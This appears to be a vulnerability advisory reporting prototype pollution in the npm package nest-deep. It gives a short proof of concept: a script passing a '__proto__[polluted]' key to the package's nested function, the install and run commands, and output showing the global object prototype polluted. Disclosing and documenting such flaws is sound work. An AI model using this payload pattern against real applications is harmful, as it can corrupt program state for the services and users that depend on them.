nest-deep

vulnerability prototype pollution
severity 7.3
language typescript
registry npm

Description

nest-deep is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var nestDeep = require("nest-deep")
console.log("Before : " + {}.polluted);
nestDeep.nested({"__proto__[polluted]": "Yes! Its Polluted"})
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i nest-deep # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted